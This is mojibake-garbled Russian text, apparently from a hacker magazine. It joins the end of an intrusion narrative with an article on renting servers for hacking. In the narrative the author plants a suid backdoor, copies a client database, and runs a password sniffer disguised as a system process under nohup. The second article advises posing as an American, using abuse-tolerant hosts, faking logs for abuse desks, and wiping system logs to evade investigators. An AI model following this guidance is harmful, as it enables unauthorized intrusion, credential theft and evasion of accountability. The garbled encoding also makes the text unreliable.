êîòîðûé çàñóèäèë äåìîí, ÿ ïðî-
äîëæèë ìîíèòîðèíã çà ñåðâåðîì.
Ïî ñòàðèíêå, ÿ ñîçäàë suid-áýêäîð
è ïîëîæèë åãî â íåïðèìåòíîå ìå-
ñòî (íà âñÿêèé ñëó÷àé) è ñòàë
æàäíî øàðèòü ïî æåñòêîìó äèñêó.
Â çàâåòíîé ïàïêå /usr/service íà-
õîäèëàñü ñòðóêòóðà êàòàëîãîâ
äëÿ ñåðâèñîâ squid è openvpn. Â îäíîì èç êàòàëîãîâ ÿ íàøåë ãîòîâûå
ñêðèïòû äëÿ çàïóñêà openvpn íà êëèåíòñêîé ñòîðîíå, à òàêæå ëèñò
ó÷åòíûõ çàïèñåé â îòêðûòîì âèäå. Ïåðâîå, ÷òî ÿ õîòåë ñäåëàòü, �
îïðåäåëèòü ëîãèí íà-
øåé æåðòâû. Áûòü
ìîæåò îí êàê-òî ñâÿ-
çàí ñ åãî íèêîì èëè e-
mail'îì. Íî ëîãèíû
âûáèðàëèñü «îò ôî-
íàðÿ», ïîýòîìó óäà÷à
ìíå íå óëûáíóëàñü :).
Íî ìíå ïîñ÷àñòëèâè-
ëîñü íàéòè ôàéë cli-
ents.xls. Åãî âåñ äî-
ñòèãàë 800êá è íàâåð-
íÿêà îí ñîäåðæàë â
ñåáå âñþ èíôîðìà-
öèþ î êëèåíòàõ ñåðâè-
ñà. Èñïîëüçîâàâ scp,
ÿ ñêîïèðîâàë ýòîò
ôàéë íà ñâîé äîâå-
ðåííûé øåëë, à çàòåì
� íà êîìï. Íî ïðè îò-
êðûòèè ñ ìåíÿ ïîòðå-
áîâàëè ïàðîëü ;). Êî-
íå÷íî, ìîæíî áûëî
óáèòü ïîëäíÿ íà ïåðå-
áîð êîìáèíàöèé èëè
ñãðóçèòü ñ www.pass-
words.ru ïðîãðàììó-
áðóòôîðñ, íî ìíå ïðî-
ñòî íå õîòåëîñü ýòèì
çàíèìàòüñÿ. ß ïðåä-
ïî÷åë âåðíóòüñÿ â
êîíñîëü è äîáèòü ñåð-
âåð äî êîíöà.

[ñëóøàåì ëèíèþ] Ïîîáùàâøèñü ñ ïðèÿòåëåì, ìû ðåøèëè ïîñòàâèòü
òà÷êó íà ïðîñëóøêó. Ïðè÷åì çàãâîçäêà çàêëþ÷àëàñü â òîì, ÷òî íóæíî
ñíèôàòü âñå 80 èíòåðôåéñîâ, êîòîðûå áûëè àêòèâíû, ïîòîìó êàê ip-àä-
ðåñ, âûäàâàåìûé êëèåíòó, âûäåëÿåòñÿ ñîâåðøåííî ñëó÷àéíî (ïî ïðîòî-
êîëó DHCP), à squid èñïîëüçóåò âñåãî 3 àéïèøíèêà, êîòîðûå íàõîäÿòñÿ
â äðóãîé ïîäñåòè. Èç ýòîãî ìîæíî ñäåëàòü ðàçóìíûé âûâîä: íàøà æåð-
òâà èñïîëüçóåò íå proxy, à vpn-ïîäêëþ÷åíèå. Íî ñóòè âîïðîñà ýòî íå ìå-
íÿëî, òàê êàê VPN-òðàôèê øèôðóåòñÿ òîëüêî íà ó÷àñòêå «êëèåíò<>ñåð-
âåð», à çàòåì ïåðåáðàñûâàåòñÿ â ÷èñòîì âèäå íà âûõîäíîé èíòåðôåéñ.
Íàøà çàäà÷à áûëà � ïðîñëóøàòü ýòîò èíòåðôåéñ è ñîáðàòü êîìïðîìàò
íà æåðòâó. Îäíàêî çà íåçíàíèåì îïðåäåëåííîãî íîìåðà èíòåðôåéñà,
ïðèøëîñü ñòàâèòü íà ïðîñëóøêó âåñü âíåøíèé òðàôèê.
Äåëî îñòàâàëîñü çà ìàëûì � íàì íóæíî áûëî îïðåäåëèòüñÿ ñ õîðîøèì
ñíèôåðîì, êîòîðûé áû îòëàâëèâàë òîëüêî ïàðîëè. Ïðîñìîòðåâ ñïèñîê
èìåþùåãîñÿ ñîôòà, ÿ îñòàíîâèëñÿ íà ïðîãðàììå PHoss (www.phenoe-
lit.de/phoss/PHossS.gz). Ïî ñëîâàì ðàçðàáîò÷èêîâ, ýòîò ñíèôåð óìååò
îòëàâëèâàòü ïàðîëè ïî ïðîòîêîëàì POP3, IMAP, FTP, TELNET, LDAP è
VNC. Òî, ÷òî äîêòîð ïðîïèñàë.
ß çàêà÷àë ýòîò íþõà÷ íà ñåðâåð, çàòåì ðàñïàêîâàë è áûë ïðèÿòíî óäèâ-
ëåí: ñíèôåð ñîñòîÿë âñåãî èç îäíîãî  ôàéëà. Ñíà÷àëà ó ìåíÿ áûëè íå-
êîòîðûå ñîìíåíèÿ, ÷òî ýòî ÷óäî ïðèðîäû âîîáùå çàïóñòèòñÿ. Íî ïîñëå
êîìàíäû ./PHossS --help âñå ñòàëî ÿñíî. Ñîôòèíà äîêàçàëà ñâîþ ïðîô-
ïðèãîäíîñòü: â ïàðàìåòðàõ ìîæíî áûëî óêàçûâàòü êîíêðåòíûé èíòåð-
ôåéñ, îñóùåñòâëÿòü ôèëüòðàöèþ è âêëþ÷àòü áóôåðèçàöèþ. Â îáùåì,
ìèíèìóì âîçìîæíîñòåé, ñ êîòîðûìè ìîæíî æèòü.
Èòàê, ïðåæäå ÷åì çàïóñêàòü ñíèôåð, ÿ âíèìàòåëüíî îçíàêîìèëñÿ ñ ïðî-
öåññàìè. Ñðåäè íèõ áûëî íåñêîëüêî ïîòîêîâ httpd è ïðîãðàììû äëÿ àâ-
òîðèçàöèè squid ïîä íàçâàíèåì nsca_auth. ß ðåøèë çàìàñêèðîâàòü íþ-

õà÷ ïîä ýòó ïðîãó, îä-
íàêî ìíå íóæíî áûëî
êàêèì óãîäíî îáðàçîì
ñêðûòü ðåäèðåêò, êî-
òîðûé áû îòîáðàæàë-
ñÿ â ïðîöåññ-ëèñòå.
Çäåñü ìîæíî áûëî ïî-
ñòóïèòü äâóìÿ ñïîñî-
áàìè: ëèáî âûçâàòü
ôóíêöèþ execl() â ñïå-
öèàëüíîì ïðèëîæå-
íèè, ãäå ìîæíî îãîâî-
ðèòü ïàðàìåòð, ïîñòó-
ïàþùèé â ïðîöåññ-
ëèñò. Ëèáî ïîñòóïèòü
áîëåå õèòðî, êàê ñäå-
ëàë ÿ. Ñïåðâà ÿ ïåðå-

ìåñòèë PHossS â /usr/bin è íàçâàë åãî nsca_auth. Çàòåì ñ ïîìîùüþ ãå-
íèàëüíîãî ïðèëîæåíèÿ nohup çàïóñòèë ñíèôåð. Ïîÿâèëîñü îïîâåùåíèå,
÷òî âåñü âûâîä ïðèëîæåíèÿ áóäåò çàïèñûâàòüñÿ â nohup.out. Â îáùåì,
ñòðîêà çàïóñêà âûãëÿäåëà òàê: «nohup nsca_auth &». Ïðîâåðèâ ïðîöåññ-
ëèñò, ÿ óáåäèëñÿ, ÷òî ïîäëîæíûé ïðîöåññ ïðàêòè÷åñêè íèêàê ñåáÿ íå âû-
äàåò. À òåì âðåìåíåì â ôàéëå nohup.out ñòàëà íàêàïëèâàòüñÿ êîíôè-
äåíöèàëüíàÿ èíôîðìàöèÿ.

[ðàçáîð ïîëåòîâ] ×åðåç ïàðó äíåé àêòèâíîãî ñíèôèíãà, ÿ âûêëþ÷èë
àíàëèçàòîð ïàêåòîâ è ñëèë ëîãè ñåáå íà êîìï. Óäàëîñü ïîéìàòü ïîðÿä-
êà 10 ìåãîâ èíôîðìàöèè. Òåïåðü íàì ïðåäñòîÿëà ñëîæíàÿ çàäà÷à ïî îò-
äåëåíèþ ìóõ îò êîòëåò, ÷åì ìû è ñòàëè çàíèìàòüñÿ. Ïðèìå÷àòåëüíî, ÷òî
ìîé òîâàðèù çíàë ïðîâàéäåðà, ê êîòîðîìó ïîäêëþ÷åíà æåðòâà. Ýòî è
ÿâèëîñü êëþ÷åâûì ôèëüòðîì. Ïðîáèâ ïî WHOIS äèàïàçîí àäðåñîâ ìî-
ñêîâñêîãî ïðîâà, ìû áûñòðî îòôèëüòðîâàëè íåñêîëüêî ó÷åòíûõ çàïèñåé
íà FTP- è POP3-ïðîòîêîëû. Ñðåäè íèõ áîëüøèíñòâî, äåéñòâèòåëüíî,
ïðèíàäëåæàëî íàøåìó íåïðèÿòåëþ, ïî êðàéíåé ìåðå, òàê ñêàçàë ìîé
êîðåôàí. ×åðåç íåêîòîðîå âðåìÿ âûÿñíèëîñü, ÷òî æåðòâà ïðîìûøëÿëà
ôèøèíãîì: íàì óäàëîñü äîñòàòü ïàðîëè íà FTP-ñåðâåðû ñ ëîãàìè îò
ðàçíûõ áîãàòûõ ïåðñîí.
×òî êàñàåòñÿ ñåðâèñà, òî áóêâàëüíî ÷åðåç íåäåëþ àäìèíû íàãëóõî çà-
ôèëüòðîâàëè 22 ïîðò. Âèäèìî, àäìèíèñòðàöèÿ óñëåäèëà óòå÷êó èí-
ôîðìàöèè èëè ñòðàííûå êîííåêòû â ëîãàõ (êîòîðûå ÿ ïî÷åìó-òî çàáûë
ïîòåðåòü :)). Íî â ëþáîì ñëó÷àå, âñå ê ÷åìó ìû ñòðåìèëèñü, áûëî âû-
ïîëíåíî, à ñåðâèñ áîëåå íå ïðåäñòàâëÿë äëÿ íàñ îñîáîãî èíòåðåñà. Íà
ïàìÿòü îò íåãî ó ìåíÿ îñòàëàñü êëèåíòñêàÿ áàçà, êîòîðóþ ÿ äî ñèõ ïîð
òàê è íå ìîãó îòêðûòü 

ìàñêèðóåìñÿ ñ ïîìîùüþ nohup

ôðàãìåíò èíòåðåñíûõ ëîãîâ

ïðàâîâàÿ ðåâîëþöèÿ

óäà÷íîå ýêñïëóàòèðîâàíèå ñåðâèñà exim

Íå ñòîèò çàáûâàòü, ÷òî
âñå äåéñòâèÿ õàêåðà ïðî-
òèâîçàêîííû, ïîýòîìó
äàííàÿ ñòàòüÿ äàíà ëèøü
äëÿ îçíàêîìëåíèÿ è îðãà-
íèçàöèè ïðàâèëüíîé çà-
ùèòû ñ òâîåé ñòîðîíû. Çà
ïðèìåíåíèå ìàòåðèàëà â
íåçàêîííûõ öåëÿõ, àâòîð
è ðåäàêöèÿ îòâåòñòâåííî-
ñòè íå íåñóò.

êðàñî÷íûé êîíòåíò ñåðâèñà





×ÀÑÒÎ ÕÀÊÅÐÀÌ ÍÅ ÕÂÀÒÀÅÒ ÑÎÁÑÒÂÅÍÍÎÃÎ ÊÎÌÏÜ-
ÞÒÅÐÀ ÄËß ÑÂÎÈÕ ÇËÎÄÅßÍÈÉ. ÑÊÀÆÅÌ, ×ÅËÎÂÅÊ,
ÓÂËÅÊÀÞÙÈÉÑß ÒÐÎßÍÀÌÈ, ÎÁßÇÀÒÅËÜÍÎ ÇÀÕÎ×ÅÒ
ÈÌÅÒÜ ÍÀ ÏÎÏÅ×ÅÍÈÈ ÑÅÐÂÅÐ ÄËß ËÎÃÎÂ. ×ÓÂÀÊ,
ÂÇËÀÌÛÂÀÞÙÈÉ ÁÓÐÆÓÉÑÊÈÅ ÑÀÉÒÛ, ÏÎÆÅËÀÅÒ ÊÓ-
ÏÈÒÜ ÁÅÇÎÏÀÑÍÛÉ ÑÅÐÂÅÐ ÄËß VPN È PROXY. ÍÎ ÕÀ-
ÊÅÐÎÂ ÌÀËÎ ÊÒÎ ËÞÁÈÒ, ÏÎÝÒÎÌÓ ÑÊÎËÜÊÎ ÏÐÎÆÈ-
ÂÅÒ «×ÅÐÍÛÉ ÑÅÐÂÅÐ» � ÍÅÈÇÂÅÑÒÍÎ. ÕÎ×ÅØÜ ÓÇ-
ÍÀÒÜ, ÊÀÊ ÓÂÅËÈ×ÈÒÜ ÑÐÎÊ ÆÈÇÍÈ ÄÎ ÌÀÊÑÈÌÓÌÀ?
ÒÎÃÄÀ ÑËÓØÀÉ ÑÞÄÀ | Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

[DS è VDS � íàéäè 10 îòëè÷èé]
Ïðåæäå ÷åì îáñóæäàòü ïðîáëåìû
ïðèîáðåòåíèÿ ñåðâåðîâ, îïðåäåëèì-
ñÿ ñ áàçîâûìè ïîíÿòèÿìè. Îò íà÷àëà
äî êîíöà ñòàòüè ÿ áóäó ãîâîðèòü ïðî
Dedicated-ñåðâåðà. Çäåñü Dedicated
îçíà÷àåò «âûäåëåííûé», òî åñòü êëè-
åíòó âûäåëÿåòñÿ öåëûé ñåðâåð, åñòå-
ñòâåííî, ñ ðóòîâûìè ïðàâàìè. Òóò
èìåþò ìåñòî äâå ðàçíîâèäíîñòè: 
ëèáî ÷åëîâåêó âûäåëÿåòñÿ îòäåëüíàÿ
ìàøèíà â ñåðâåðíîé ñòîéêå (DS), ëè-
áî ñåðâåð çàïóùåí âèðòóàëüíî, ñðîä-
íè VmWare (VDS). Åñòåñòâåííî, ÷òî
ïî ñòîèìîñòè âèðòóàëüíûé âûäåëåí-
íûé ñåðâåð â 5�8 ðàç äåøåâëå ðå-
àëüíîãî. Ýòî ïîíÿòíî � çàòðàòû íà
èíñòàëëÿöèþ íàñòîÿùåé ìàøèíû êó-
äà áîëüøå, ÷åì çàïóñê ñêðèïòà, èíñ-
òàëëèðóþùåãî íîâóþ OS íà óæå ñó-
ùåñòâóþùåé ñòàíöèè. Íî ó âèðòóàëü-
íîãî ñåðâåðà åñòü ðÿä ñóùåñòâåííûõ
íåäîñòàòêîâ, êîòîðûå îáÿçàòåëüíî
ñëåäóåò ó÷èòûâàòü ïåðåä ïîêóïêîé.
Íå áóäåò ëèøíèì èõ ïåðå÷èñëèòü.

1 Íåñìîòðÿ íà ðóòîâûå ïðèâèëå-
ãèè, òåáå íå óäàñòñÿ äîáàâèòü íî-
âîå óñòðîéñòâî èëè ïåðåñîáðàòü
ÿäðî. Íà íåêîòîðûõ ìàøèíêàõ äà-
æå íåëüçÿ óïðàâëÿòü sysctl'îì, èñ-
ïîëüçîâàòü iptables, çàãðóæàòü ìî-
äóëè è ò.ï.

2 Íà òàðèôíûõ ïëàíàõ ñ âèðòó-
àëüíûì ñåðâåðîì îáû÷íî íå ïðå-
äîñòàâëÿþòñÿ äîïîëíèòåëüíûå IP-
àäðåñà. Äàííûé íåäîñòàòîê ìîæåò
áûòü êðèòè÷íûì äëÿ íåêîòîðûõ
ïðîåêòîâ.

3 Áåçîïàñíîñòü â VDS îñòàâëÿåò
æåëàòü ëó÷øåãî. Òàê êàê ìàøèíà ñî-
äåðæèò íåñêîëüêî ñåðâåðîâ, àäìè-
íèñòðàòîð ìîæåò ëåãêî çàãëÿíóòü íà
òâîé âèðòóàëüíûé æåñòêèé äèñê è
ëåãêî òàì ïîøàðèòüñÿ. Ñ ðåàëüíîé
ìàøèíîé òàêîå íå ïðîéäåò. ×òîáû
ïîñìîòðåòü ñîäåðæèìîå âèíòà, ñëå-
äóåò, êàê ìèíèìóì, ñíÿòü ìàøèíó èç
ñåðâåðíîé ñòîéêè (ñëóæáà ïîääåðæ-
êè íå èìååò ïðàâà âîéòè íà ñåðâåð
áåç òâîåãî ñîãëàñèÿ).Þ

Í
È

Ò
Û

Îáû÷íî õîñòèíãîâûå êîìïàíèè, êî-
òîðûå ïðåäîñòàâëÿþò ïðèâàòíûå
ñåðâåðû, ïðîäàþò è ðåàëüíûå. 
ß ñòîðîííèê ïîëíîöåííûõ äåäèêîâ
è âñåì ñîâåòóþ ïîêóïàòü òîëüêî DS,
à íå ýêîíîìèòü íà ñâîåé áåçîïàñ-
íîñòè. Íî äåëî, êàê ãîâîðèòñÿ, òâîå :).
Íàïîñëåäîê óïîìÿíó, ÷òî ðåàëüíûå
ìàøèíû ñòîÿò îò 40 äî 500 áàêñîâ â
ìåñÿö (åñòü ýêñêëþçèâû è ïî $999,
íî î íèõ ÿ ïîêà óìîë÷ó :)), öåíà âèð-
òóàëüíûõ ìàøèíîê êîëåáëåòñÿ îò 5
äî 100 äîëëàðîâ â ìåñÿö.

[êàêèì ïóòåì ïîéòè?] Äîïóñ-
òèì, òû ðåøèë ïðèîáðåñòè ñåáå
ìàøèíó äëÿ ðàçíûõ õèòðûõ öåëåé.
Ñïåðâà âñòàåò âîïðîñ î ïðîâåðåí-

íûõ è íàäåæíûõ äàòàöåíòðàõ, ãäå
ìîæíî êóïèòü çàâåòíûé ñåðâåð.
Âçÿòü äåäèê ìîæíî äâóìÿ ñïîñî-
áàìè: íàïðÿìóþ, ëèáî ÷åðåç ïîñ-
ðåäíèêà. ß ðàññìîòðþ îáà ñëó÷àÿ,
à òû âûáåðåøü äëÿ ñåáÿ ñàìûé
îïòèìàëüíûé.
Ïåðâûé ñïîñîá çàêëþ÷àåòñÿ â ïî-
èñêå ÷åëîâåêà, òîðãóþùåãî ñåðâå-
ðàìè. Îòûñêàòü òàêèõ ìîæíî íà ëþ-
áûõ ôîðóìàõ ïî ñåòåâîé áåçîïàñ-
íîñòè. Çà ïðèìåðàìè äàëåêî õî-
äèòü íå íàäî, â íåäàâíåì âûïóñêå 
Õ NSD ïèñàë ñòàòüþ ïðî ïîäîáíûå
ôîðóìû. Íà êàæäîì èç íèõ òû íàé-
äåøü ìèíèìóì 2�3 îáúÿâëåíèÿ 
ñ òàêèìè óñëóãàìè. Íàðîä òàì íà-
âåðíÿêà ïðîâåðåííûé, íî íå ñòîèò
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Âûáèðàåì dedicated-ñåðâåð äëÿ õàêåðñêèõ ïðîäåëîê

Äåäèê ääëÿ õõàêåðà

Ïåðåä ðåãèñòðàöèåé íà ñåðâå-
ðå ñîçäàé ñåáå ÿùèê íà àìå-
ðèêàíñêîì õîñòèíãå, íàïðè-
ìåð íà gmail.com. Ýòî ïîìî-
æåò òåáå ñîçäàòü îáðàç òóïî-
âàòîãî áîãàòîãî àìåðà.

Àäðåñ Security-ñëóæáû ìîæíî
óçíàòü ÷åðåç WHOIS-ñåðâèñ
(www.nic.ru/whois/?ip=ip-
address). Îáû÷íî âñå
äàòàöåíòðû ïóáëèêóþò 
åãî â ñïåöèàëüíîì ïîëå.



äóìàòü, ÷òî, êóïèâ ñåðâåð, òû ïðè-
îáðåòåøü ïîääåðæêó 24/7 è ñòà-
áèëüíûé àïòàéì. Íåðåäêî ðåñåë-
ëåðû ïîêóïàþò ñåðâåðû ó ïëîõèõ
äàòàöåíòðîâ è íå ÷èòàþò ïî÷òó ñ
íàêîïèâøèìèñÿ æàëîáàìè :).
Âñå ýòî âåäåò ê âíåçàïíîìó áëî-
êèðîâàíèþ àêêàóíòà. Åùå îäíà
ïðîáëåìà êðîåòñÿ â òîì, ÷òî åñ-
ëè òû íàêîñÿ÷èë ñ íàñòðîéêàìè
ñåðâåðà, ïåðåçàãðóçèòü, à òåì
áîëåå ïî÷èíèòü ìàøèíó áóäåò
ïðîáëåìíî. Ñóäè ñàì, äëÿ ýòîãî
òåáå ïîòðåáóåòñÿ íàéòè ÷óâàêà,
êîòîðûé ïîêóïàåò ñåðâåð, è çàñ-
òàâèòü åãî îòïèñàòü â òåõïîääå-
ðæêó äàòàöåíòðà. Ó÷èòûâàÿ ïî-
ôèãèçì ïðîäàâöîâ, ñäåëàòü ýòî
î÷åíü ñëîæíî.
Èç ïëþñîâ ìîãó îòìåòèòü òî, ÷òî
ïðîäàâåö âñåãäà ïîñîâåòóåò ñà-
ìóþ áåçîïàñíóþ ñòðàíó, ó òåáÿ
íèêîãäà íå áóäåò ïðîáëåì ñ îï-
ëàòîé ñåðâåðà, à òàêæå ãàðàíòè-
ðóåò íåêîòîðóþ àíîíèìíîñòü (ïî
êðàéíåé ìåðå, âû÷èñëèòü òåáÿ
áóäåò íåïðîñòî).
Íî ïî ìîåìó ñêðîìíîìó ìíåíèþ,
âñå-òàêè ëó÷øå ðàáîòàòü íàïðÿ-
ìóþ ñ õîñòèíãîì. Ýòî ïîçâîëèò
îïåðàòèâíî îòðåàãèðîâàòü íà æà-
ëîáó â òâîþ ñòîðîíó, à òàêæå íå
ïåðåïëà÷èâàòü íà óñëóãè ïðîäàâ-
öà (îí ìîæåò ñîäðàòü ñ òåáÿ ëèø-
íèå 20�30 äîëëàðîâ).
Íî ïðè ïðÿìîé ðàáîòå ñ äàòàöåíò-
ðîì, íåîáõîäèìî ÷åòêî çíàòü, â
êàêîé ñòðàíå òåáå íóæíà ìàøèíà.

Åñëè ñåðâåð áåðåòñÿ äëÿ ïàëåíî-
ãî ïðîåêòà, òî ñòîèò áðàòü ìàøèí-
êó â Àçèè (Êèòàé, Êîðåÿ, Òàé-
âàíü). Â òàêèõ öåíòðàõ àäìèíèñò-
ðàòîðû áîëåå ëîÿëüíû ê àáóçàì,
à èíîãäà è âîîáùå èõ íå ÷èòàþò.
Åñëè òû ðåøèëñÿ áðàòü äåäèê â
øòàòàõ, òî áóäü ãîòîâ ê âíåçàï-
íûì îòêëþ÷åíèÿì èç-çà ìàëåé-
øåãî íàðóøåíèÿ ïðàâèë. Åùå îä-
íèì îïòèìàëüíûì âàðèàíòîì ÿâ-
ëÿåòñÿ Åâðîïà (Íèäåðëàíäû, Ãåð-
ìàíèÿ, Èòàëèÿ). Ñïåöèàëüíî äëÿ
òåáÿ ÿ îôîðìèë âðåçêó ñ àäðåñà-
ìè äàòàöåíòðîâ, êîòîðûì ìîæíî
äîâåðÿòü :).
Ïîñëå òîãî êàê òû îïðåäåëèëñÿ
ñî ñòðàíîé, íóæíî óáåäèòüñÿ, ÷òî
ïîêóïêà ìîæåò áûòü ñîâåðøåíà
ñ ïîìîùüþ ïîïóëÿðíûõ ïëàòåæ-
íûõ ñèñòåì. Î WebMoney ìîæíî
ñðàçó çàáûòü! Áóðæóè íå ëþáÿò
íàøè äåíüãè :). À âîò Western
Union, Egold è Paypal ïðèíèìàþò
ìíîãèå õîñòåðû. Íàïðÿìóþ äåíü-
ãè çà óñëóãè ëó÷øå íå ïåðåâî-
äèòü. Äîñòàòî÷íî îáðàòèòüñÿ ê
ìíîãî÷èñëåííûì îáìåííèêàì,
íàïðèìåð expertexchange.ru, è
îáìåíÿòü WebMoney íà ëþáóþ
äðóãóþ âàëþòó.
Ïîìíè, ÷òî ìíîãèå äàòàöåíòðû
áåðóò ñêðûòûå ïëàòåæè � çà
èíñòàëëÿöèþ è òåõïîääåðæêó.
Ýòè âîïðîñû ëó÷øå ñðàçó æå
óòî÷íèòü ïðåäâàðèòåëüíûì ïèñü-
ìîì. È çàïîìíè ñàìîå ãëàâíîå
ïðàâèëî � íèêîãäà íå ïèøè èì ñ
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ðóññêîãî e-mail àäðåñà. Íåêîòîðûå
òåáå ïðîñòî íå îòâåòÿò, à íåêîòî-
ðûå îõîòíî çàðåãèñòðèðóþò, íî
îòêëþ÷àò ñåðâåð ñðàçó æå ïîñëå
ïåðâîé æàëîáû. Âñå-òàêè ñî÷åòà-
íèå «ðóññêèé õàêåð» èçâåñòíî è çà
ðóáåæîì. À âîò, åñëè òû ïðåäñòà-
âèøüñÿ àìåðèêîñîì, òî ìîæåøü
ñóùåñòâåííî óïðîñòèòü ïðîöåññ
ðàññìîòðåíèÿ æàëîá.
Ïîñëå òîãî êàê ñåðâåð îïëà÷åí, ÷å-
ðåç 2�3 äíÿ åãî ïîäíèìóò è îòïè-
øóò òåáå IP-àäðåñ, ëîãèí è ïàðîëü.
Ñ ýòîé ìèíóòû òû ìîæåøü ïîëüçî-
âàòüñÿ ñâîåé ìàøèíîé, ñêàíèðî-
âàòü ïîäñåòè íà áàãè, ñêëàäûâàòü
òóäà ëîãè îò òðîÿíöåâ è ìíîãîå
äðóãîå. Äî ïåðâîé æàëîáû :).

[îõ óæ ýòè àáóçû] Òàê íàçûâàå-
ìûå àáóçû (abuse èëè ïðîñòî àðáó-
çû :)) ðåãóëÿðíî áóäóò ïîñòóïàòü â
àäðåñ security-ñëóæáû òâîåãî äàòà-
öåíòðà. Ýêñïåðòû îöåíÿò âåñ æà-
ëîáû è îáÿçàòåëüíî îïîâåñòÿò òå-
áÿ îá èíöèäåíòå. Çäåñü âñå çàâè-
ñèò îò ïðàâèë õîñòåðà, êîòîðûå

ñëåäóåò îáÿçàòåëüíî ïðî÷èòàòü ïå-
ðåä ðåãèñòðàöèåé. Íåêîòîðûå êîì-
ïàíèè ñðàçó æå áëîêèðóþò äîñòóï
ê ñåðâåðó ïðè ïåðâîì æå ñëó÷àå
(îáû÷íî àìåðèêàíñêèå öåíòðû),
äðóãèå æå äîïóñêàþò 1�2 æàëîáû,
ïîñëå ÷åãî ïðåäóïðåæäàþò îá îòê-
ëþ÷åíèè. Òðåòüè ïðîñòî ðåêîìåí-
äóþò ðàçîáðàòüñÿ íàïðÿìóþ ñ
ïîñòðàäàâøèì ñ îáÿçàòåëüíîé êî-
ïèåé âñåé ïåðåñûëêè â àäðåñ secu-
rity-ñëóæáû. È, íàêîíåö, áûâàþò è
àáóçîóñòîé÷èâûå öåíòðû, êîòîðûå
âîîáùå íå âîñïðèíèìàþò êàêèå-
ëèáî æàëîáû :). Ïîñëåäíèõ î÷åíü
ìàëî, äà è öåíà íà òàêèå «÷åðíûå
ñåðâåðû» ìîæåò äîñòèãàòü äî 1000
äîëëàðîâ â ìåñÿö. Íî ñîãëàñèñü,
÷òî áåçîïàñíîñòü äîðîæå äåíåã :).
Ïðåäïîëîæèì, ÷òî òû çàòðîÿíèë êà-
êîãî-òî ëàìåðà ÷åðåç ïðîêñèê, ñòîÿ-
ùèé íà òâîåì äåäèêå, è æåðòâà çà-
ïàëèëà òâîé IP-àäðåñ (íå ñîâñåì
òâîé, êîíå÷íî, à àäðåñ âûäåëåííîãî
ñåðâåðà). Ïîñòðàäàâøèé æàëóåòñÿ
â äàòàöåíòð, îáúÿñíèâ âñþ ñóòü
ïðîáëåìû è ïðèëîæèâ ëîãè ñâîåãî

ôàéðâîëà. Ïîñëå ýòîãî ñëóæáà áå-
çîïàñíîñòè îòïèñûâàåò òåáå ïèñüìî
ñ ïðåòåíçèåé. Çäåñü, êàê ÿ óæå ãîâî-
ðèë, âñå çàâèñèò îò ïðàâèë êîìïà-
íèè, íî åñëè òåáÿ ñðàçó íå îòêëþ÷è-
ëè, òî åñòü øàíñ âûéòè ñóõèì èç âî-
äû. ß áû ïîñòóïèë ñëåäóþùèì îá-
ðàçîì: âíà÷àëå îòïèñàë ñëóæáå áå-
çîïàñíîñòè î òîì, ÷òî íà ìàøèíå
áûë ïîñòàâëåí àíîíèìíûé ïðîêñèê 
÷åðåç äûðó â ñèñòåìå, è êàêîé-òî
õàêåð ñèäåë ÷åðåç íåãî. Äëÿ îñòðî-
òû îùóùåíèé ìîæíî ïðèëîæèòü êà-
êèå-íèáóäü ïñåâäî-ëîãè è IP-àäðåñà
íàðóøèòåëåé. Åñëè òû çàðåãèñòðè-
ðîâàí íå ïîä ðóññêèì e-mail'îì, òî
åñòü øàíñ, ÷òî òåáå ïîâåðÿò è îï-
ðàâäàþò. Â ëþáîì ñëó÷àå íå òåðÿé
íàäåæäû, äàæå åñëè æàëîáà î÷åíü
âåñîìàÿ. Âñåãäà ìîæíî íàéòè êîìï-
ðîìèññ èëè íàâðàòü ñ òðè êîðîáà,
ïîñëå ÷åãî àäìèíû ëèáî çàáóäóò
ïðî èíöèäåíò, ëèáî äàäóò âðåìÿ ñà-
ìîñòîÿòåëüíî ðåøèòü ïðîáëåìó.
Áûâàåò, ÷òî æàëîáà î÷åíü ñåðüåç-
íàÿ è îïðàâäàòü ñåáÿ òåáå áóäåò
íåâîçìîæíî. Ñêàæåì, åñëè áûë
âçëîìàí êàêîé-íèáóäü êðóïíûé
ïðîåêò, ëèáî åñëè äåëî êàñàåòñÿ
ñïàìà. Â ýòîì ñëó÷àå òåáå íóæíî
óáåäèòü àäìèíèñòðàöèþ íå îòêëþ-
÷àòü ñåðâåð 1�2 äíÿ äëÿ èçó÷åíèÿ
ïðîáëåìû, à çà ýòî âðåìÿ ñäåëàòü
backup âñåãî ñîôòà è óäàëèòü âñå
ñèñòåìíûå æóðíàëû (ìîæíî âîîá-
ùå óäàëèòü âñþ èíôîðìàöèþ 
ñ HDD ñïåöèàëüíûìè óòèëèòàìè).
Îäèí ìîé ïðèÿòåëü êàæäûé ìåñÿö
ìåíÿåò ìàøèíó íà õîñòèíãå, ðåãèñò-
ðèðóÿñü çàíîâî ïîä íîâûì ìûëîì.
Êàê ïîêàçûâàåò ïðàêòèêà, â Ñåòè çà
ìåñÿö «ñâå÷åíèÿ» ìàøèíû æàëîáû

ìàëîâåðîÿòíû , ïî êðàéíåé ìåðå, èõ
íå òàê ìíîãî, ÷òîáû äàòü ïîâîä secu-
rity âçÿòü ñåðâåð ïîä íàáëþäåíèå.

[ñêðûòàÿ óãðîçà] Âïîëíå ìîæåò
áûòü, ÷òî íà òâîé ñåðâåð ðåøèëè
ïîæàëîâàòüñÿ íå äàòàöåíòðó, à,
íàïðèìåð, ÔÁÐ èëè Èíòåðïîëó. 
Â äàííîì ñëó÷àå ñïåöñëóæáû îáðà-
òÿòñÿ ê õîñòåðó è âûáåðóò ñïåöèàëü-
íóþ ñòðàòåãèþ. Ñêàæåì, íèêòî íå
îïîâåñòèò òåáÿ î íàðóøåíèè, à âåñü
òðàôèê áóäåò ïîñòàâëåí íà ïðîñëó-
øèâàíèå. Îïðåäåëèòü ïîäîáíîå
ñëîæíî, íî ìîæíî ïîïðîáîâàòü ýòî
ñäåëàòü. Âî-ïåðâûõ, ïîïðîáóé âîñ-
ïîëüçîâàòüñÿ ìåòîäèêàìè îáíàðó-
æåíèÿ ïàññèâíîãî è àêòèâíîãî ñíè-
ôèíãà (ÿ îá ýòîì ïèñàë â Õ 07/2005)
è ïîñòàâü ïàðó ñîôòèíîê, íàïðèìåð
arpwatch. Äàëåå ìîæíî óñòàíîâèòü
êàêóþ-íèáóäü ëîêàëüíóþ IDS, ÷òîáû
íå äîïóñòèòü çàìåíó ñèñòåìíûõ
ôàéëîâ. È, íàêîíåö, åñëè òû çàìå-
òèë âíåçàïíîå îòêëþ÷åíèå ìàøèíû
